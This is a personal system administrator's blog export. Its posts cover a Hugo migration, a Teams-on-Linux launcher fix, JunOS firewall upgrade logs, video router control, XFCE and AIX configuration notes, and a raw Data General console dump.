Details...

hugo

Mon, 29 Jun 2026 06:17:41 +0000

Hugo

So I decided that it was the time to get rid of wordpress it bloated, and it seems like everything else it got couth in the AI everywhere hype and move to something that make a little be more sense like a static site generator, specially since a while git is running everything I do.

Choosing it wasn’t that hard, I like golang so the obvious choose it’s hugo and to be honest is wasn’t that hard because there are a lot of ready to use tools to import from basically all platform (in my case I used wp2hugo)

wp2hugo build a nice project structure (really useful especially because I never used hugo), download the assess with the same files tree of the original wordpress installation and create also the same url structure to keep the compatibility with the already indexed posts.

History of this blog engine

I like to add some notes about this blog, well website (I dropped the name blog from the third level domain some time ago) it all started in 2003 the site was actually hosted on a third level dynamic dns name (imf.systes.net imf stand for insomnia main frame, yes I know it sound cool) later on move to my first domain name deepreflect.net in 2004 (back in the day I used to give to my server rather non functional name so the url was reason.deepreflect.net).

Initially was build with a really simple php 2 pages: 1 for rendering html and 1 to add post, the backend was mysql, later on I added some other pages to render the WAP version because the WEP started to be mobile, even if it was ridiculous expansive to browse it from a GPRS connection.

This kind of setup was running untouched from 2003 till the 2008 when I recovered and put back together all the unpublished notes and posts into WordPress.

Nothing particularly interesting about the software platform, on the other side the hosting was a totally different thing, I always hosted my web and mail on my own server (for some time at home later moved into colocation) and I still do it; I started running Slackware Linux on a Pentium 2, moved to some IBM Netvista server running Debian Linux, for some time even on a UltraSparc 10 running Solaris (because why not, the electricity was cheaper) till I moved everything into a proper datacenter since then I used some big corp rack x86 servers (IBM, HPE, Dell with some boring hypervisor and Linux)

What now?

Wed, 10 Sep 2025 14:52:18 +0000

It’s a rainy day, it fits perfectly with the melancholy of these words. I generally don’t think about the ending of a project or generally speaking when I do something, I like to think about it like a perpetual evolution instead (yes, from time to time drastic changes are needed) but this, today, it’s something different like something broken to the point is not fixable anymore.

This is about yet another story of unilateral impulsive decisions driven by the greed for power, need for attention and stupidity, I’m not that naive I see what is happening to the world every day and it feels like a trend but remember this is not NORMAL. Great things are made by people who work together, people with the love and attention to details, yes details. Details that really matter, even in big projects or massive corporations at some point someone thought it was important a very little and silly thing no one will ever notice.

That little thing, if neglected, soon enough will get bigger and bigger to the point that every pieces of its soul is gone, and when is gone will be an empty box, yes maybe with some value still, but without a heart.

What now? Now we start again, but before that I need to dry the cat because he came into the house completely soaked, damn it.

9gen

Mon, 21 Apr 2025 03:21:12 +0000

Microsoft Teams and Join Link problem

Sat, 13 Mar 2021 18:43:18 +0000

I’ve recently upgraded Microsft Teams to version 1.4.00.4855 (I run it on openSUSE Linux but I think this problem can be related to the rpm build and maybe even the deb) basically the external Join Invite by URL stopped working.

Digging around in the browser the content-type: "msteams" it’s opened by the lanucher "/usr/bin/teams" luckily it’s a simple shell script, apparently they added some switch messing up the URL variable.

Following the explanation, I’ve just downloaded the rpm and unpacked it:

https://packages.microsoft.com/yumrepos/ms-teams/teams-1.3.00.958-1.x86_64.rpm
https://packages.microsoft.com/yumrepos/ms-teams/teams-1.4.00.4855-1.x86_64.rpm
rpm2cpio teams-xxxx.x86_64.rpm | cpio -idmv

And then do some diff:

leo@thinkleo5:~/dev/teams> diff 1.3/usr/bin/teams 1.4/usr/bin/teams
11c11
< nohup "$TEAMS_PATH" "$@" > "$TEAMS_LOGS/teams-startup.log" 2>&1 &
---
> nohup "$TEAMS_PATH" --disable-namespace-sandbox --disable-setuid-sandbox "$@" > "$TEAMS_LOGS/teams-startup.log" 2>&1 &
leo@thinkleo5:~/dev/teams>

Teams still run but the URL joins are ignored, you can fix editing the "/usr/bin/teams" the line 11 of the launcher.

From:

nohup "$TEAMS_PATH" --disable-namespace-sandbox --disable-setuid-sandbox "$@" > "$TEAMS_LOGS/teams-startup.log" 2>&1 &

To:

nohup "$TEAMS_PATH" "$@" --disable-namespace-sandbox --disable-setuid-sandbox > "$TEAMS_LOGS/teams-startup.log" 2>&1 &

Hyperlapse Experiment 1

Tue, 12 Jan 2021 06:43:02 +0000

Some years ago (I think in 2017) I wanted to try to make a hyper-lapse video this is the result:

Video Link

Some technical details:

I’ve moved for 5 meters
On every frame, I move by 5 centimetres forward
I’ve taken about 100 frames
The final video it’s created using FFmpeg

This is the FFmpeg script used to create the final clip:

ffmpeg -r 30 -pattern_type glob -i '*.JPG' -c:v libx264 -pix_fmt yuv420p out30fps.mp4

FAQ

Tue, 12 Jan 2021 00:53:13 +0000

Q: Why you do this? A: It’s fun I consider this space a public notebook a constant evolution of ideas and experiments.

Q: Why you write in English? A: English it’s international and since it’s not my primary language it’s a very challenging typing exercise, I know it’s not perfect I’m learning every day.

Q: Why don’t you use the social network as a platform? A: This is a complicated answer, first of all, the social networks are attention-seeking machines and sooner or later you end up to do something to seek those attentions at any cost, second the average life of a post on a social network it’s barely of a day (I’m been very optimistic), Ideas are out of time you can put an expiration on it.

JunOS Upgrade

Mon, 11 Jan 2021 08:27:52 +0000

For some reason, JunOS 12.1X46-D65.4 on SRX platform can’t validate any update it takes me several attempts before figure out to run the upgrade with the “no-validate” option.

root> request system configuration rescue save
root> request system autorecovery state save
root> request system storage cleanup

List of files to delete:

         Size Date         Name
    11B Dec 29 22:35 /cf/var/jail/tmp/alarmd.ts
 142.6M Dec 29 22:38 /cf/var/jail/tmp/install/junos-srxsme-12.1X46-D82-domestic.tgz
   420B Dec 29 22:36 /cf/var/jail/tmp/jweb-users.xml
   128B Dec 29 22:40 /cf/var/log/interactive-commands.0.gz
   175B Dec 29 22:40 /cf/var/log/messages.0.gz
    27B Dec 29 22:32 /cf/var/log/wtmp.0.gz
Delete these files ? [yes,no] (no) yes

root>

Follow:

root> request system software add /cf/var/tmp/junos-srxsme-12.3X48-D40.5-domestic.tgz
NOTICE: Validating configuration against junos-srxsme-12.3X48-D40.5-domestic.tgz.
NOTICE: Use the 'no-validate' option to skip this if desired.
Checking compatibility with configuration
Initializing...
Verified manifest signed by PackageProductionEc_2016 method ECDSA
veriexec: cannot bless /packages/junos-12.1X46-D65.4-domestic: Authentication error
Verified junos-12.1X46-D65.4-domestic signed by PackageProductionEc_2016 method ECDSA
Using /cf/var/tmp/junos-srxsme-12.3X48-D40.5-domestic.tgz
Checking junos requirements on /
Available space: 181112 require: 211214

WARNING: The /packages filesystem is low on free disk space.
WARNING: This package requires 211214k free, but there
WARNING: is only 181112k available.

WARNING: This installation attempt will be aborted.
ERROR: validate-config: junos/+REQUIRE fails for /
WARNING: Current configuration not compatible with /cf/var/tmp/junos-srxsme-12.3X48-D40.5-domestic.tgz

root> request system storage cleanup

List of files to delete:

         Size Date         Name
   474B Dec 29 19:44 /cf/var/log/install.0.gz
   134B Dec 30 04:41 /cf/var/log/interactive-commands.0.gz
  1815B Dec 30 04:41 /cf/var/log/messages.0.gz
    27B Dec 29 22:45 /cf/var/log/wtmp.0.gz
    27B Dec 29 22:40 /cf/var/log/wtmp.1.gz
  4821B Dec 30 04:36 /cf/var/tmp/cleanup-pkgs.log
 173.7M Dec 29 22:43 /cf/var/tmp/junos-srxsme-12.3X48-D40.5-domestic.tgz
Delete these files ? [yes,no] (no) yes

root> show version
Model: srx110h2-va
JUNOS Software Release [12.1X46-D65.4]

root> request system software add /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz
NOTICE: Validating configuration against junos-srxsme-12.1X46-D66.1-domestic.tgz.
NOTICE: Use the 'no-validate' option to skip this if desired.
Checking compatibility with configuration
Initializing...
Verified manifest signed by PackageProductionEc_2016 method ECDSA
veriexec: cannot bless /packages/junos-12.1X46-D65.4-domestic: Authentication error
Verified junos-12.1X46-D65.4-domestic signed by PackageProductionEc_2016 method ECDSA
Using /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz
ERROR: Unsupported platform srx110h2-va for 12.1X46 releases after 12.1X46-D65.
ERROR: validate-config: junos/+REQUIRE fails
WARNING: Current configuration not compatible with /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz

root> request system software delete-backup
Delete backup system software package [yes,no] (no) yes

root> show chassis routing-engine
Routing Engine status:
    Temperature                 58 degrees C / 136 degrees F
    Total memory              2048 MB Max   635 MB used ( 31 percent)
      Control plane memory    1088 MB Max   435 MB used ( 40 percent)
      Data plane memory        960 MB Max   202 MB used ( 21 percent)
    CPU utilization:
      User                       4 percent
      Background                 0 percent
      Kernel                    12 percent
      Interrupt                  0 percent
      Idle                      84 percent
    Model                          RE-SRX110H2-VA
    Start time                     2017-01-15 02:45:57 UTC
    Uptime                         9 hours, 32 minutes, 48 seconds
    Last reboot reason             0x200:normal shutdown
    Load averages:                 1 minute   5 minute  15 minute
                                       0.24       0.50       0.41

root> request system reboot
Reboot the system ? [yes,no] (no) yes

Shutdown NOW!
[pid 4875]

root>
*** FINAL System shutdown message from root@ ***

System going down IMMEDIATELY

Password:
--- JUNOS 12.1X46-D65.4 built 2016-12-30 01:34:30 UTC

root@% cli
root> request system software add /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz
NOTICE: Validating configuration against junos-srxsme-12.1X46-D66.1-domestic.tgz.
NOTICE: Use the 'no-validate' option to skip this if desired.
Checking compatibility with configuration
Initializing...
Verified manifest signed by PackageProductionEc_2016 method ECDSA
veriexec: cannot bless /packages/junos-12.1X46-D65.4-domestic: Authentication error
Verified junos-12.1X46-D65.4-domestic signed by PackageProductionEc_2016 method ECDSA
Using /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz
ERROR: Unsupported platform srx110h2-va for 12.1X46 releases after 12.1X46-D65.
ERROR: validate-config: junos/+REQUIRE fails
WARNING: Current configuration not compatible with /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz

root> request system software add /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz no-validate
Formatting alternate root (/dev/ad0s2a)...
/dev/ad0s2a: 630.0MB (1290204 sectors) block size 16384, fragment size 2048
        using 4 cylinder groups of 157.50MB, 10080 blks, 20224 inodes.
super-block backups (for fsck -b #) at:
 32, 322592, 645152, 967712
Extracting /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz ...
saving package file in /var/sw/pkg ...
Installing package '/altroot/cf/packages/install-tmp/junos-12.1X46-D66.1-domestic' ...
Verified junos-boot-srxsme-12.1X46-D66.1.tgz signed by PackageProductionEc_2017 method ECDSA
Verified junos-srxsme-12.1X46-D66.1-domestic signed by PackageProductionEc_2017 method ECDSA
Verified junos-boot-srxsme-12.1X46-D66.1.tgz signed by PackageProductionEc_2017 method ECDSA
Verified junos-srxsme-12.1X46-D66.1-domestic signed by PackageProductionEc_2017 method ECDSA
ERROR: Unsupported platform srx110h2-va for 12.1X46 releases after 12.1X46-D65.
ERROR: junos-12.1X46-D66.1-domestic fails requirements check
Installation failed for package '/altroot/cf/packages/install-tmp/junos-12.1X46-D66.1-domestic'

root> request system storage cleanup

List of files to delete:

         Size Date         Name
    96B Dec 30 04:58 /cf/var/crash/flowd_octeon_hm.log..0
   131B Dec 30 05:13 /cf/var/log/interactive-commands.0.gz
  3726B Dec 30 05:13 /cf/var/log/messages.0.gz
   136B Dec 30 04:59 /cf/var/log/wtmp.0.gz
    27B Dec 30 04:41 /cf/var/log/wtmp.1.gz
 142.4M Dec 30 05:10 /cf/var/sw/pkg/junos-12.1X46-D66.1.tgz
  4821B Dec 30 05:04 /cf/var/tmp/cleanup-pkgs.log
     0B Dec 30 04:57 /cf/var/tmp/eedebug_bin_file
 124.0K Dec 30 04:57 /cf/var/tmp/gres-tp/env.dat
     0B Dec 30 04:57 /cf/var/tmp/gres-tp/lock
     4B Dec 30 04:58 /cf/var/tmp/idp_license_info
 142.4M Oct 26 17:00 /cf/var/tmp/junos-srxsme-12.1X46-D66.1-domestic.tgz
   155B Dec 30 04:58 /cf/var/tmp/krt_gencfg_filter.txt
    30B Dec 30 04:58 /cf/var/tmp/policy_status
     0B Dec 30 04:57 /cf/var/tmp/rtsdb/if-rtsdb
     0B Dec 30 04:56 /cf/var/tmp/spu_kmd_init
     0B Dec 30 04:58 /cf/var/tmp/vpn_tunnel_orig.id
Delete these files ? [yes,no] (no) yes

root> request system software add /cf/var/tmp/junos-srxsme-12.3X48-D105.4-domestic.tgz no-validate
Formatting alternate root (/dev/ad0s2a)...
/dev/ad0s2a: 630.0MB (1290204 sectors) block size 16384, fragment size 2048
        using 4 cylinder groups of 157.50MB, 10080 blks, 20224 inodes.
super-block backups (for fsck -b #) at:
 32, 322592, 645152, 967712
Extracting /cf/var/tmp/junos-srxsme-12.3X48-D105.4-domestic.tgz ...
saving package file in /var/sw/pkg ...
Installing package '/altroot/cf/packages/install-tmp/junos-12.3X48-D105.4-domestic' ...
Verified junos-boot-srxsme-12.3X48-D105.4.tgz signed by PackageProductionECP256_2020 method ECDSA
Verified junos-srxsme-12.3X48-D105.4-domestic signed by PackageProductionECP256_2020 method ECDSA
Verified junos-boot-srxsme-12.3X48-D105.4.tgz signed by PackageProductionECP256_2020 method ECDSA
Verified junos-srxsme-12.3X48-D105.4-domestic signed by PackageProductionECP256_2020 method ECDSA
Verified junos-boot-srxsme-12.3X48-D105.4.tgz signed by PackageProductionECP256_2020 method ECDSA
Verified junos-srxsme-12.3X48-D105.4-domestic signed by PackageProductionECP256_2020 method ECDSA
JUNOS 12.3X48-D105.4 will become active at next reboot
WARNING: A reboot is required to load this software correctly
WARNING:     Use the 'request system reboot' command
WARNING:         when software installation is complete
Saving state for rollback ...

root> request system reboot
Reboot the system ? [yes,no] (no) yes

Shutdown NOW!
[pid 2578]

root>
*** FINAL System shutdown message from root@ ***

System going down IMMEDIATELY

Video Router XY Web Panel

Mon, 11 Jan 2021 08:02:15 +0000

From the moment that I’ve started working for a broadcaster I was immediately fascinated by the video routers, they basically are the core of a production centre the can switch, sync a reclock SDI signals it’s a very simple concept if you think switch a video from one port to others, but they hide a very complicated implementation because since you can switch any source to any destinations in the routing matrix the hardware must be no-blocking and you can’t do bandwidth oversubscription; in the meantime, you’ve to keep the vertical interval synched to avoid frames losses that cause flickering or other unexpected behaviours.

I know everything in the world it’s transitioning some sort of IP/Networked signal, but as I’ve mentioned before with 2022/2110/NDI/SRT you’ll always end up choosing the wrong one, this is the reason why I consider the legacy way more interesting, and there is nothing more legacy than the SDI born in the late ‘80 it’s still surviving and actively developed. None I can say about the video routers and their ecosystems still based on some sort of not so fancy control protocol over some sort of serial interface.

To cut short a crosspoint commands it’s made by 3 elements: a destination, a source and a level; the first two are pretty self-explanatory, the level it’s the media type, in the big an complex systems, for example, you can split audio, video and data into different matrixes or different modules and control everything from a single command.

Here we come to the reason for this project, some time ago I’ve acquired some video router to build my studio at home I’ve ended up acquiring a lot of 5 8x8 HD/3G routers and 1 8x8 SD (this one literally catch fire, but this is a story for another time, I’ve managed to save the 5 3G) I quickly realise the problem was not to find the matrix itself but to find the control panels, so why not to do a little reverse engineer and build write something.

My weapon of choice for this project is the Leitch / Harris / Imagine Communications branded Panacea video router, this kind of devices are in my opinion very consistent XY protocol (in different flavours) the same code that I’ve written for a device released in early 2000 (Panacea/XPlus) can still run on every modern Imagine platforms like the Integrator or Platinum.

Imagine Communications devices are managed via XY Protocols, even if the name is similar between them they behave in a very different way.

XY Terminal (the crosspoint commands are specified in multiple lines via RS232 variables are decimal numbers)
XY Telnet (same as the XY Terminal but via Telnet)
XY Serial (the crosspoint command is a single string and every serial or telnet connection are joined to a shared stream where you can read every session and send commands, variables are hex)
XY Client (the router open a session to a client but I’ve never figured out how the handshake works)

You can find an example of XY Terminal and XY Serial code at https://github.com/lrizzi/xy-panel the python web services act as an API gateway, the web pages are a simple frontend.

Projects

Sat, 26 Dec 2020 04:58:35 +0000

To avoid losing focus on what I’m doing and what I want to write, I’ve decided to briefly sum-up the projects that I’m working on, some of them are purely theoretical. I do a lot of research and development but still, I always try to keep my foot on the ground it’s easier to deal with the real world if you observe and learn from it, instead of take for granted something written in a paper or a manual.

Complex projects (IT):

as a proof of concept, I’ve started more than 10 years ago a project named wide-net.org with the assumption to build an experimental enterprise network (for running collaboration and services of any kind) funny enough it became the foundations on which the datacenter and the entire network management and delivery run. At this point, the original project doesn’t really exist anymore the technology changed a lot since were I started so it doesn’t really make a lot of sense to continue and the strategic components are now part of the company assets, but the intellectual property of the project itself it will be always open
Telemetry and Automation, I love telemetry and automation of any kind I’m doing this since ever from a physical PLC to deployment on some virtual infrastructure, right now I’m working on the network side I’m embracing the spine-leaf architecture a lot and soon enough became clear manuals configuration were not an option anymore, this is a requirement also for the next point

More complex projects (Physics):

well, it’s almost a paradox because I’m always late (I value more been on-time delivering a project rather be punctual or present in some useless meeting) but one of my hobbies is the precise measure of time, in a few words I build atomic clocks. Right now I’m trying to put together an industrial solution for the datacenter timekeeping with the proper NTP and PTP interfaces
I would love to have a remote telescope in some remote area with less light pollution than where I live, but still, it’s just a nice idea only
I would like to have a radio telescope

Photos

Fri, 25 Dec 2020 18:27:28 +0000

My photos are hosted on Flickr click on a thumbnail to get there:

Getting back?

Fri, 25 Dec 2020 16:36:56 +0000

I know, it’s been a while since a wrote somethings, at the time 2014 (to be precise I’ve found a very incomplete draft from 2015) the blogs were still cool, nowadays everything it’s compressed in a few words on some social media platform of choice like we don’t have any more time to stop read and truly understands what are we reading. And it’s a kind of a shame if you think how we devolve since 10 years ago, maybe it’s been more, much more, but at the time I didn’t have the proper knowledge to understand what’s really was going on in the world.

Anyway, I think it’s the right time to get back to write, since the last post I’ve founded two companies, and at this precise moments, you understand the importance of visualizing and making something new from scratch instead of trying fix someone else chronically broken stuff. This doesn’t mean it’s an easier task quite the opposite I found myself very far from my comfort zone more times than I’ve expected and dealing with it was really hard.

I’ve also shifted my work interest from the legacy enterprises to the Media industry: Television to be specific, and even if broadcasting isn’t something new for me I truly discovered a new world for my mind, but this is a story for another time!

TraveLeo

Fri, 25 Dec 2020 13:12:30 +0000

This is a very old project of mine started as a simple list and become a map as soon Google published the Maps API and is been upgraded regularly to adapt the code to the API changes and migrated multiple times from different SQL when I liked something in particular.

Stay (places I slept at least one night) Wish List Planned Trip Airport/Transit

Solaris - VI Terminal too wide

Fri, 05 Sep 2014 22:13:25 +0000

You may receive the following error when using VI within Solaris:

Terminal too wide

You can solve this increasing the number of columns with the command

stty columns 120

AIX 7.1 - LDAP Auth

Fri, 28 Mar 2014 09:35:18 +0000

The secldapclntd daemon is not running.
Starting the secldapclntd daemon.
exec(): 0509-036 Cannot load program /usr/sbin/secldapclntd because of the following errors:
0509-150 Dependent module libibmldap.a could not be loaded.
0509-022 Cannot load module libibmldap.a.
0509-026 System error: A file or directory in the path name does not exist.
exec(): 0509-036 Cannot load program /usr/sbin/secldapclntd because of the following errors:
0509-150 Dependent module libibmldap.a could not be loaded.
0509-022 Cannot load module libibmldap.a.
0509-026 System error: A file or directory in the path name does not exist.
The secldapclntd daemon failed to start.
root@aix01:/opt/IBM/ldap/V6.2/lib#ln -s /opt/IBM/ldap/V6.2/lib/libibmldap.a /usr/lib/libibmldap.a
root@aix01:/opt/IBM/ldap/V6.2/lib#ln -f -s /opt/IBM/ldap/V6.2/lib/libibmldap.a /usr/lib/libibmldap.a

XFCE - Screen lock using LightGDM

Sat, 18 Jan 2014 00:59:29 +0000

/usr/bin/xflock4

PATH=/bin:/usr/bin
export PATH
# Lock by xscreensaver or gnome-screensaver, if a respective daemon is running
#for lock_cmd in \
#    "xscreensaver-command -lock" \
#    "gnome-screensaver-command --lock"
#do
#    $lock_cmd >/dev/null 2>&1 && exit
#done
for lock_cmd in \
    "dm-tool lock"
do
    $lock_cmd >/dev/null 2>&1 && exit
done
# else run another access locking utility, if installed
for lock_cmd in \

XFCE - Desktop Icons

Sat, 18 Jan 2014 00:57:53 +0000

style "xfdesktop-icon-view" {
    XfdesktopIconView::label-alpha = 0
    XfdesktopIconView::selected-label-alpha = 170
    XfdesktopIconView::ellipsize-icon-labels = 0
    XfdesktopIconView::shadow-x-offset = 0
    XfdesktopIconView::shadow-y-offset = 0
    XfdesktopIconView::shadow-color = "#000000"
    XfdesktopIconView::selected-shadow-x-offset = 0
    XfdesktopIconView::selected-shadow-y-offset = 0
    XfdesktopIconView::selected-shadow-color = "#ffffff"
    XfdesktopIconVIew::cell-spacing = 6
    XfdesktopIconView::cell-padding = 6
    XfdesktopIconView::cell-text-width-proportion = 2.5
    base[NORMAL] = "#cccccc"
    base[SELECTED] = "#cccccc"
    base[ACTIVE] = "#cccccc"
    fg[NORMAL] = "#ffffff"
    fg[SELECTED] = "#000000"
    fg[ACTIVE] = "#000000"
}
widget_class "*XfdesktopIconView*" style "xfdesktop-icon-view"
[leo@thinkleo4 ~]$

XFCE - Dropbox

Sat, 18 Jan 2014 00:57:14 +0000

[root@thinkleo4 ~]# yum install Thunar-devel thunarx-python
wget http://softwarebakery.com/maato/files/thunar-dropbox/thunar-dropbox-0.2.0.tar.bz2
[leo@thinkleo4 thunar-dropbox-0.2.0]$ ./waf configure --prefix=/usr
Checking for program gcc or cc           : /usr/bin/gcc
Checking for program cpp                 : /usr/bin/cpp
Checking for program ar                  : /usr/bin/ar
Checking for program ranlib              : /usr/bin/ranlib
Checking for gcc                         : ok
Checking for thunarx-2                   : yes
Checking for gio-2.0                     : yes
'configure' finished successfully (0.230s)
[leo@thinkleo4 thunar-dropbox-0.2.0]$ ./waf build
Waf: Entering directory `/home/leo/Downloads/thunar-dropbox-0.2.0/build'
[1/4] cc: src/dropbox-communication.c -> build/default/src/dropbox-communication_1.o
[2/4] cc: src/tdp-provider.c -> build/default/src/tdp-provider_1.o
[3/4] cc: src/thunar-dropbox-plugin.c -> build/default/src/thunar-dropbox-plugin_1.o
[4/4] cc_link: build/default/src/dropbox-communication_1.o build/default/src/tdp-provider_1.o build/default/src/thunar-dropbox-plugin_1.o -> build/default/libthunar-dropbox.so
Waf: Leaving directory `/home/leo/Downloads/thunar-dropbox-0.2.0/build'
'build' finished successfully (1.990s)
[leo@thinkleo4 thunar-dropbox-0.2.0]$ sudo ./waf install
Waf: Entering directory `/home/leo/Downloads/thunar-dropbox-0.2.0/build'
* installing data/icons/hicolor/16x16/apps/thunar-dropbox.png as /usr/share/icons/hicolor/16x16/apps/thunar-dropbox.png
* installing build/default/libthunar-dropbox.so as /usr/lib/thunarx-2/thunar-dropbox.so
Waf: Leaving directory `/home/leo/Downloads/thunar-dropbox-0.2.0/build'
'install' finished successfully (0.006s)
[leo@thinkleo4 thunar-dropbox-0.2.0]$ sudo mv /usr/lib/thunarx-2/thunar-dropbox.so /usr/lib64/thunarx-2/
[leo@thinkleo4 thunar-dropbox-0.2.0]$

Switch to XFCE

Sat, 18 Jan 2014 00:56:05 +0000

As I wrote in some previous posts I’ve replaced my old thinkpad with a new one, the deal was to find a Linux operating system with a full support of my hardware. I just tried to migrate my trusty Redhat 6, and after some rebuild I get a “well” working system. I love the legacy system you can always know where to find the things you need and generally they works more better than new one, but for desktop use sometimes is necessary something a little modern (kernel, lib, etc.).

So I’ve installed Fedora 19, I already used this distribution in the past till version 14 (the last release with Gnome 2), the installer is great and after reboot surprise, my notebook hardware are fully supported even HSPA/GPS card, fingerprint reader and TPM chip, awesome!! At this point the problem begin.. and the name is Gnome 3, Shell or whatever they wanna call that crap, I even found a very disappointed twit dated 11/06/11 wrote by me about that, when I’ve tried Fedora 15 for the first time and the complaints were to Gnome 3.. By the way I decided to give it a chance, I spent 2 days, days of terrific pain, patch and random code to fix bugs (or trying to do) just for made it a little usable and finally I figured out: after more than two years still is a bunch of buggy crap.

I can only describe it as The worst user experience ever, I don’t want a stupid smartphone/tablet or clone of clone of clone of other worst user interfaces.

So I took a look of alternatives and I’ve tried Xfce: it’s light, simple and stable.

The next post will be related to the optimization and integration of Xfce.

Data General

Sat, 04 Jan 2014 09:31:41 +0000

Found on an old text file, this is the weird output from a DataGeneral machine:

!a 000000A 000000
!
!/000000 000000
!ÿ\_ÿ\_ÿ\_ÿ\_
!
!
!
!a 000000A 000000
!0a 000000A 000000
!1a 000001A 000000
!0a 000000A 000000
000001A 000000
000002A 000000
000003A 000000
000004A 000000
000005A 000000
000006A 000000
000007A 000000
000010A 000000
!4a 000004A 000000 300
!4a 000004A 000300
!300/000300 000000 020306
?
!300/000300 020306
000301 000000 061126
000302 000000 063526
000303 000000 000302
000304 000000 064626
000305 000000 063077
000306 000000 007000
000307 000000
!300/000300 020306
!300/000300 020306
000301 061126
000302 063526
000303 000302
000304 064626
000305 063077
000306 007000
000307 000000

!./000307 000000

!4a 000004A 000300

!p
!4a 000004A 000000 300

!300/000300 000000 020306
000301 000000 061126
000302 000000 063526
000303 000000 000302
000304 000000 064626
000305 000000 063077
000306 000000 007000

!300/000300 020306
000301 061126
000302 063526
000303 000302
000304 064626
000305 063077
000306 007000
000307 000000
!4a 000004A 000300
!o
!
!4a 000004A 000000 0300
!300/000300 000000 1230000\_
!300/000300 003000
!300/000300 003000 123000
!300/000300 123000

!4a 000004A 000300 /000300 123000

!0a 000000A 000000 1

!1a 000001A 000000

!1a 000001A 000000 2

!0a 000000A 000001
000001A 000002
000002A 000000

!300/000300 123000

!o
!
!300/000300 000000 123000

!0\_300

!300/000300 123000
000301 000000 301
000302 000000

!300/000300 123000
000301 000301

!a 000000A 000000 6\_\_

!6a 000006A 000000

!20h
000377
!?
!6a 000006A 031436

!a 000000A 000040 4\_\_?
!4a 000004A 100377

!p
000377
!6a 000006A 031036

!300/000300 123000 300

!300/000300 000300

!4a 000004A 100377 100300

!p
000300
!100/000100 000000

!100/000100 000000
000101 000000
000102 000000
000103 000000
000104 000000
000105 000000
000106 000000
000107 000000
000110 000000
000111 000000
000112 000000
000113 000000
000114 000000
000115 000000
000116 000000
000117 000000
000120 000000
000121 000000
000122 000000
000123 000000
000124 000000
000125 000000
000126 000000
000127 000000
000130 000000
000131 000000
000132 000000
000133 000000
000134 000000
000135 000000
000136 000000
000137 000000
000140 000000
000141 000000
000142 000000
000143 000000
000144 000000
000145 000000
000146 000000
000147 000000
000150 000000
000151 000000
000152 000000
000153 000000
000154 000000

!300/000300 000300 123000
000301 000301 301

!300/000300 123000

!300/000300 123000
000301 000301

!4a 000004A 100300 100300

!6a 000006A 031036

!0a 000000A 000040 1
000001A 177777 2
000002A 060120

!p
000301
!0a 000000A 000003

!301/000301 000301 36077

!301/000301 036077 63077

!p
000302
!
!a 000000A 000000 6\_\_

!6a 000006A 000000 031036

!4a 000004A 000000 300

!300/000300 000000 020306

!300/000300 020306
000301 000000 061126
000302 000000 063526
000303 000000 000302
000304 000000 064626
000305 000000 063077
000306 000000 007000

!300/000300 020306
000301 061126
000302 063526
000303 000302
000304 064626
000305 063077
000306 007000

!4a 000004A 000300 100300

!p
000306
!1a 000001A 056000

!1a 000001A 056000 00

!1a 000001A 000000

!4a 000004A 100306 1300

!4a 000004A 001300 100300

!4a 000004A 100300

!p
000306
!1a 000001A 056000

!a 000000A 007000

!1a 000001A 056000

!4a 000004A 100306 100300

!p
000306
!4a 000004A 100306 100300

!p
000306
!306/000306 007000 017000

!a 000000A 007000

!4a 000004A 100306 100300

!p
000306
!1a 000001A 016100

!306/000306 017000 006400

!4a 000004A 100306 100300

!p
0?0306
!

!1a 000001A 016000

!310/000310 000000 020322
000311 000000 061026
000312 000000 020323
000313 000000 062026
000314 000000 020324
000315 000000 063126
000316 000000 063526
000317 000000 000316
000320 000000 064626
000321 000000 063067
000322 000000
000323 000000 400
000324 000000 777400

!321/000321 063067 063077
000322 000000

!310/000310 020322
000311 061026
000312 020323
000313 062026
000314 020324
000315 063126
000316 063526
000317 000316
000320 064626
000321 063077
000322 000000
000323 000400
000324 177400

!4a 000004A 100306 100310

!306/000306 006400 006000

!4a 000004A 100310 100300

!p
000306
!1a 000001A 056000

!4a 000004A 100306 100310

!p
000322
!400/000400 000000
000401 000000
000402 000000
000403 000000
000404 000000
000405 000000
000406 000000
000407 000000
000410 000000
000411 000000
000412 000000
000413 000000
000414 000000
000415 000000
000416 000000

!1a 000001A 056010

!310/000310 020322 020323

!310/000310 020323
000311 061026 061026
000312 020323 020324
000313 062026 0602

!313/000313 000602 062026
000314 020324 020325
000315 063126
000316 063526 063526
000317 000316
000320 064626 060626
000321 063077 065626
000322 000000 063077
000323 000400 000000
000324 177400 000400
000325 000000 177600
000326 000000

!4a 000004A 100322 100310

!p
000323
!0a 000000A 056010
000001A 000400

!?
!306/000306 006000 006002

!4a 000004A 100323 100300

!p
000306
!

!1a 000001A 016000

!4a 000004A 100306 100310

!p
000323
!0a 000000A 016010

!0a 000000A 016010
000001A 000400

!323/000323 000000 000100

!4a 000004A 100323 100310

!p
000323
!0a 000000A 016010
000001A 000400

!306/000306 006002 006403

!323/000323 000100 000055

!4a 000004A 100323 100300

!p
000306
!4a 000004A 100306

!1a 000001A 016000

!4a 000004A 100306 100310

!p
000323
!0a 000000A 016010

!1a 000001A 000400

!ü
!
!
!ÿ
!

!

!26h
000377
!?
!300/000300 000000 020306
000301 000000 061126
000302 000000 063526
000303 000000 000302
000304 000000 064626
000305 000000 063077
000306 000000 006400
000307 000000

!4a 000004A 100377 100300

!300/000300 020306
000301 061126
000302 063526
000303 000302
000304 064626
000305 063077
000306 006400
000307 000000

!p
000306
!306/000306 006400 007000

!4a 000004A 100306 100300

!p
000306
!300

!306/000306 007000 6000

!4a 000004A 100306 100300

!p
000306
!330/000330 000000 020347
000331 000000 061126
000332 000000 063526
000333 000000 000332
000334 000000 060626
000335 000000 024350
000336 000000 030351
000337 000000 065226
000340 000000 063526
000341 000000 000340
000342 000000 060626
000343 000000 113414
000344 000000 063077
000345 000000 104010
000346 000000 000337
000347 000000 007000
000350 000000 006000
000351 000000 000040

!4a 000004A 100306 100330

!p
000337
!0a 000000A 056000
000001A 136142
000002A 000040

!4a 000004A 100337 100330

!o
000331
!0a 000000A 007000

!o
000332
!o
000334
!o
000335
!0a 000000A 056000

!o
000336
!o
